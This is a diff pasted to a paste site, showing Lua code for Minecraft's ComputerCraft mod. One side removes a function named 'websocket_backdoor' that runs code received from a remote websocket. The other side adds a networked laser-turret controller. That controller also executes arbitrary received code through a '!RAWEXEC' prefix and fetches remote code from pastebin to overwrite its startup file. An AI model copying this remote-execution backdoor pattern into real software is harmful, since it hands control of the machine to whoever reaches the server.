SHOW:
|
|
- or go back to the newest paste.
1 | - | local function safe_serialize(data) |
1 | + | local laser = peripheral.find "plethora:laser" or peripheral.find "neuralInterface" |
2 | - | local ok, res = pcall(textutils.serialise, data) |
2 | + | local run_lasers = true |
3 | - | if ok then return res |
3 | + | |
4 | - | else return textutils.serialise(tostring(data)) end |
4 | + | local function compact_serialize(x) |
5 | local t = type(x) | |
6 | if t == "number" then | |
7 | - | local function websocket_backdoor() |
7 | + | return tostring(x) |
8 | - | if not http or not http.websocket then return "Websockets do not actually exist on this platform" end |
8 | + | elseif t == "string" then |
9 | - | |
9 | + | return textutils.serialise(x) |
10 | - | local ws = http.websocket "wss://osmarks.tk/wsthing/ShutdownOS" |
10 | + | elseif t == "table" then |
11 | - | |
11 | + | local out = "{" |
12 | - | local function send(msg) |
12 | + | for k, v in pairs(x) do |
13 | - | ws.send(safe_serialize(msg)) |
13 | + | out = out .. string.format(" [%s] = %s,", compact_serialize(k), compact_serialize(v)) |
14 | end | |
15 | - | |
15 | + | return out .. " }" |
16 | - | local function recv() |
16 | + | else |
17 | - | return ws.receive() |
17 | + | return tostring(x) |
18 | end | |
19 | - | |
19 | + | |
20 | ||
21 | local function log(...) | |
22 | - | local code = recv() |
22 | + | print(os.date "!%X", ...) |
23 | - | local f, error = load(code, "@<backdoor>", "t") |
23 | + | |
24 | - | if f then -- run safely in background, send back response |
24 | + | |
25 | - | send {pcall(f)} |
25 | + | local function fire(yaw, pitch, power) |
26 | if not run_lasers then error "Lasing capability has been temporarily disabled." end | |
27 | - | send {false, error} |
27 | + | if not yaw or not pitch then error "yaw and pitch required" end |
28 | laser.fire(yaw, pitch, power or 0.5) | |
29 | log("FIRE", yaw, pitch, power) | |
30 | return true | |
31 | end | |
32 | ||
33 | -- for cost most lasers are installed on turtles anyway, so just detect neural interfaces | |
34 | local is_stationary = peripheral.getType "back" ~= "neuralInterface" | |
35 | local x, y, z | |
36 | local function locate() | |
37 | if x and is_stationary then return x, y, z end | |
38 | x, y, z = gps.locate() | |
39 | if not x then error "GPS fix unavailable." end | |
40 | return x, y, z | |
41 | end | |
42 | ||
43 | local function calc_yaw_pitch(x, y, z) | |
44 | local pitch = -math.atan2(y, math.sqrt(x * x + z * z)) | |
45 | local yaw = math.atan2(-x, z) | |
46 | return math.deg(yaw), math.deg(pitch) | |
47 | end | |
48 | ||
49 | -- from shell | |
50 | ||
51 | local function tokenise(line) | |
52 | local words = {} | |
53 | local quoted = false | |
54 | for match in string.gmatch(line .. "\"", "(.-)\"") do | |
55 | if quoted then | |
56 | table.insert(words, match) | |
57 | else | |
58 | for m in string.gmatch(match, "[^ \t]+") do | |
59 | table.insert(words, m) | |
60 | end | |
61 | end | |
62 | quoted = not quoted | |
63 | end | |
64 | return words | |
65 | end | |
66 | ||
67 | local laser_id = os.getComputerLabel() | |
68 | ||
69 | local raw_exec_prefix = "!RAWEXEC " | |
70 | ||
71 | local function handle_command(cmd_text) | |
72 | if cmd_text:match("^" .. raw_exec_prefix) then | |
73 | local code = cmd_text:sub(#raw_exec_prefix + 1) | |
74 | local fn, err = load(code, "@<code>") | |
75 | if err then error(err) end | |
76 | return fn() | |
77 | end | |
78 | local tokens = tokenise(cmd_text) | |
79 | local command = table.remove(tokens, 1) | |
80 | if command == "update" then | |
81 | local h = http.get("https://pastebin.com/raw/iL1CXJkQ?" .. tostring(math.random(0, 100000))) | |
82 | local code = h.readAll() | |
83 | h.close() | |
84 | local ok, err = load(code, "@<code>") | |
85 | if err then error("syntax error: " .. err) end | |
86 | local f = fs.open("startup", "w") | |
87 | f.write(code) | |
88 | f.close() | |
89 | os.reboot() | |
90 | elseif command == "fire_direction" then | |
91 | local id = tokens[1] | |
92 | local yaw = tonumber(tokens[2]) | |
93 | local pitch = tonumber(tokens[3]) | |
94 | if not id or not yaw or not pitch then | |
95 | error "format: fire_direction [laser ID] [yaw] [pitch] <power>" | |
96 | end | |
97 | local power = tonumber(tokens[4]) | |
98 | if id == laser_id then | |
99 | fire(yaw, pitch, power) | |
100 | return true | |
101 | end | |
102 | elseif command == "fire_position" then | |
103 | local tx = tonumber(tokens[1]) | |
104 | local ty = tonumber(tokens[2]) | |
105 | local tz = tonumber(tokens[3]) | |
106 | local power = tonumber(tokens[4]) | |
107 | if not tx or not ty or not tz then | |
108 | error "format: fire_position [target x] [target y] [target z] <power>" | |
109 | end | |
110 | local x, y, z = locate() | |
111 | local yaw, pitch = calc_yaw_pitch(tx - x, ty - y, tz - z) | |
112 | fire(yaw, pitch, power) | |
113 | return { yaw = yaw, pitch = pitch } | |
114 | elseif command == "ping" then | |
115 | local x, y, z = locate() | |
116 | return ("%s %f %f %f"):format(laser_id, x, y, z) | |
117 | else | |
118 | error "no such command" | |
119 | end | |
120 | end | |
121 | ||
122 | local ws | |
123 | ||
124 | local function run() | |
125 | ws = http.websocket "wss://osmarks.tk/wsthing/lasers" | |
126 | ws.send("CONN " .. laser_id) | |
127 | ||
128 | while true do | |
129 | -- Receive and run code from backdoor's admin end | |
130 | local command_text = ws.receive() | |
131 | log("Executing", command_text) | |
132 | local ok, err = pcall(handle_command, command_text) | |
133 | if not ok then log(err) end | |
134 | local result_type = "OK " | |
135 | if not ok then result_type = "FAIL" end | |
136 | ws.send(result_type .. " " .. compact_serialize(err)) | |
137 | end | |
138 | end | |
139 | ||
140 | while true do | |
141 | local ok, err = pcall(run) | |
142 | pcall(ws.close) | |
143 | if not ok then printError(err) | |
144 | else | |
145 | sleep(0.5) | |
146 | end | |
147 | end |